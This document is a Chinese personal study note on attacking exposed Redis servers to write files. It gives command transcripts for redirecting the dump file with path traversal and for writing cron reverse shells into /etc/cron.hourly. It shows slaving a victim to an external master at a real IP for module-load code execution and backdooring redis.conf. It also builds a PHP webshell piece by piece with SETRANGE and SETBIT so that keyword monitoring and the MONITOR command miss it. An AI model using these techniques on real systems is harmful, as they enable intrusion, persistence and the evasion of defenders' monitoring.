个人学习笔记1:
主题:redis写文件:
大量知识参考:http://redisdoc.com/
查看redis所有配置选项
127.0.0.1:6379> CONFIG GET * 1) "dbfilename" 2) "dump.rdb" 3) "requirepass" 4) "" 5) "masterauth" 6) "" 7) "unixsocket" 8) "" 9) "logfile" 10) "" 11) "pidfile" 12) "" 13) "slave-announce-ip" 14) "" 15) "maxmemory" 16) "0" 17) "maxmemory-samples" 18) "5" 19) "timeout" 20) "0" 21) "auto-aof-rewrite-percentage" 22) "100" 23) "auto-aof-rewrite-min-size" 24) "67108864" 25) "hash-max-ziplist-entries" 26) "512" 27) "hash-max-ziplist-value" 28) "64" 29) "list-max-ziplist-size" 30) "-2" 31) "list-compress-depth" 32) "0" 33) "set-max-intset-entries" 34) "512" 35) "zset-max-ziplist-entries" 36) "128" 37) "zset-max-ziplist-value" 38) "64" 39) "hll-sparse-max-bytes" 40) "3000" 41) "lua-time-limit" 42) "5000" 43) "slowlog-log-slower-than" 44) "10000" 45) "latency-monitor-threshold" 46) "0" 47) "slowlog-max-len" 48) "128" 49) "port" 50) "6379" 51) "tcp-backlog" 52) "511" 53) "databases" 54) "16" 55) "repl-ping-slave-period" 56) "10" 57) "repl-timeout" 58) "60" 59) "repl-backlog-size" 60) "1048576" 61) "repl-backlog-ttl" 62) "3600" 63) "maxclients" 64) "10000" 65) "watchdog-period" 66) "0" 67) "slave-priority" 68) "100" 69) "slave-announce-port" 70) "0" 71) "min-slaves-to-write" 72) "0" 73) "min-slaves-max-lag" 74) "10" 75) "hz" 76) "10" 77) "cluster-node-timeout" 78) "15000" 79) "cluster-migration-barrier" 80) "1" 81) "cluster-slave-validity-factor" 82) "10" 83) "repl-diskless-sync-delay" 84) "5" 85) "tcp-keepalive" 86) "300" 87) "cluster-require-full-coverage" 88) "yes" 89) "no-appendfsync-on-rewrite" 90) "no" 91) "slave-serve-stale-data" 92) "yes" 93) "slave-read-only" 94) "yes" 95) "stop-writes-on-bgsave-error" 96) "yes" 97) "daemonize" 98) "no" 99) "rdbcompression" 100) "yes" 101) "rdbchecksum" 102) "yes" 103) "activerehashing" 104) "yes" 105) "protected-mode" 106) "yes" 107) "repl-disable-tcp-nodelay" 108) "no" 109) "repl-diskless-sync" 110) "no" 111) "aof-rewrite-incremental-fsync" 112) "yes" 113) "aof-load-truncated" 114) "yes" 115) "maxmemory-policy" 116) "noeviction" 117) "loglevel" 118) "notice" 119) "supervised" 120) "no" 121) "appendfsync" 122) "everysec" 123) "syslog-facility" 124) "local0" 125) "appendonly" 126) "no" 127) "dir" 128) "/Users/qixin01/Downloads/redis-3.2.9/src" 129) "save" 130) "3600 1 300 100 60 10000" 131) "client-output-buffer-limit" 132) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60" 133) "unixsocketperm" 134) "0" 135) "slaveof" 136) "" 137) "notify-keyspace-events" 138) "" 139) "bind" 140) ""
这边查看一共发现有140/2项
redis配置选项详解:
https://www.cnblogs.com/AlanLee/p/5924783.html
redis写文件注意点:
常规的:写计划任务,写ssh公钥
发现依赖了选项1和选项127,我们涉及到写文件离不开dir和dbfilename:
常规的不想提了,如ssh公钥和写计划任务
说点小技巧:
(1)关于dir选项:
dir声明目录支持../跳目录:
127.0.0.1:6379> CONFIG SET dir /Users/**/Desktop/log4jScan/../ OK 127.0.0.1:6379> CONFIG SET dbfilename redis_test2 OK 127.0.0.1:6379> set payload "hello" OK 127.0.0.1:6379> save OK
查看文件:
写文件发现,查看文件的时候:
发现有个前缀标识符:[email protected]?ctime,因为官方说明save,默认保存的是rdb文件,[email protected]?ctime就是rdb标识符,实战可以把它看成脏数据
(2)不要轻易尝试计划任务写bash反弹:
计划任务bash反弹是存在安全风险的
如下图所示:
如果尝试以这种方法写bash反弹,会导致覆盖原来有的crontab计划任务,大家可以本地测试下就知道了
极其不推荐直接写到/var/spool/cron,一旦运维在crontab中配置了一些脚本启动,盲目的覆盖,会对业务产生极大的破坏
正确的做法是:选择一个开发不常用的计划任务:
以centos7为例子:
对应的含义如下:每天/每日/每小时/每月/每周
可以写文件到/etc/cron.hourly/
可以覆盖0anacron文件 or 创建一个可执行的sh文件
覆盖0anacron,正常情况下,没人会在这里写计划任务,可以覆盖它:
创建可执行sh文件:如下所示:
这样就不会覆盖文件,比较保险
(3)redis 4.x/5.x ,redis 3.x不受影响 主从复制shell 选项(135) slaveof
主从复制优点:外部加载模块,可以落地无损文件,而不会有所谓的”脏数据”
redis module load是新特性,redis 3.x不存在
主从复制尽量保持redis版本一致:
什么是主从复制?
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
利用攻击:
127.0.0.1:6379> SLAVEOF 119.45.227.86 6379 127.0.0.1:6379> CONFIG GET slaveof 1) "slaveof" 2) "119.45.227.86 6379" 127.0.0.1:6379> get b "123" 127.0.0.1:6379>
同步给119.45.227.86:6379,保证6379开启
119.45.227.86:6379 客户端配置: 127.0.0.1:6379> CONFIG SET protected-mode no OK
远程在119.45.227.86:6379上操作:
127.0.0.1:6379> CONFIG SET protected-mode no OK 127.0.0.1:6379> set ddd 123 OK 127.0.0.1:6379>
本地127.0.0.1:6379客户端查看是否同步成功:
127.0.0.1:6379> get b "123" 127.0.0.1:6379> get ddd "123" 127.0.0.1:6379> get ddd "123"
利用rce:https://paper.seebug.org/975/
linux就是加载so模块
windows就是加载dll模块
(4)还可以写文件到哪里?
除了ssh公钥/计划任务/网站绝对路径
1.覆盖写redis.conf中的配置选项,在管理员下次重启的时候生效,当作隐藏后门文件
.......
redis 隐蔽写文件bypass 敏感词监控研究:
需求如下:
需求:替换a为b
方法(1)redis setrange:
127.0.0.1:6379> set name a OK 127.0.0.1:6379> get name "a" 127.0.0.1:6379> SETRANGE name 0 b (integer) 1 127.0.0.1:6379> get name "b"
redis写shell 敏感/特殊词监控 bypass:
127.0.0.1:6379> set shell "<?> phpinfx();?>" OK 127.0.0.1:6379> SETRANGE shell 2 "php p" (integer) 16 127.0.0.1:6379> get shell "<?php pinfx();?>" 127.0.0.1:6379> SETRANGE shell 6 "phpinfo();" (integer) 16 127.0.0.1:6379> get shell "<?php phpinfo();" 127.0.0.1:6379> SETRANGE shell 15 ";?>" (integer) 18 127.0.0.1:6379> get shell "<?php phpinfo();?>" 127.0.0.1:6379>
这种是比较简单的,但是不够隐蔽,使用redis自带的语句监控MOITIOR命令还是可以明显很看出来:
monitor命令解释:实时打印出 Redis 服务器接收到的命令,调试用
更隐蔽的替换方法:
方法2:redis setbit命令:
先从修改a为b开始:
setbit的使用比setrange复杂的多,先了解前置知识:
ascii码表:
http://c.biancheng.net/c/ascii/
想要把a替换成b:
怎么做?
查询ascii码表,寻找a和b的对应的ascii 十进制:
a=ascii 97
b=ascii 98
十进制转换二进制:https://tool.lu/hexconvert/
ascii 97=01100001 = a
ascii 98=01100010 = b
如果想把a修改成b,对比发现两个值之间只有第六个位置和第七个位置不一样,所以我们只要修改第六个位置的0改成1,把第七个位置的1改成0,初始值键从0开始:
127.0.0.1:6379> set name a OK 127.0.0.1:6379> SETBIT name 6 1 (integer) 0 127.0.0.1:6379> SETBIT name 7 0 (integer) 1 127.0.0.1:6379> get name "b" 127.0.0.1:6379>
这样修改内容,就比方法1更隐蔽
如果是是多个字符串,怎么修改其中某个值?
例子如下:
修改tett为test: 怎么做? 步骤如下: (1)tett依次转换成ascii码表 t=116 e=101 t=116 t=116 (2)test依次抓换成ascii码表 t=116 e=101 s=115 t=116 (3)tett ascii码 十进制依次转换成2进制: t=116=01110100 e=101=01100101 t=116=01110100 t=116=01110100 (4)test ascii码 十进制依次转换成2进制: t=116=01110100 e=101=01100101 s=115=01110011 t=116=01110100 最后对比(3)和(4)即可: 合并: (3):01110100011001010111010001110100 (4):01110100011001010111001101110100 目前是(3)就是tett,变成test: 对比从0位置开始数:
127.0.0.1:6379> set name "tett" OK 127.0.0.1:6379> SETBIT name 21 0 (integer) 1 127.0.0.1:6379> SETBIT name 22 1 (integer) 0 127.0.0.1:6379> SETBIT name 23 1 (integer) 0 127.0.0.1:6379> get name "test" 127.0.0.1:6379>
查看语句监控:
隐蔽性很强,不能直接看到关键字
参考资料:
(1)https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247484020&idx=1&sn=06db219408f093c65d252c506ad502df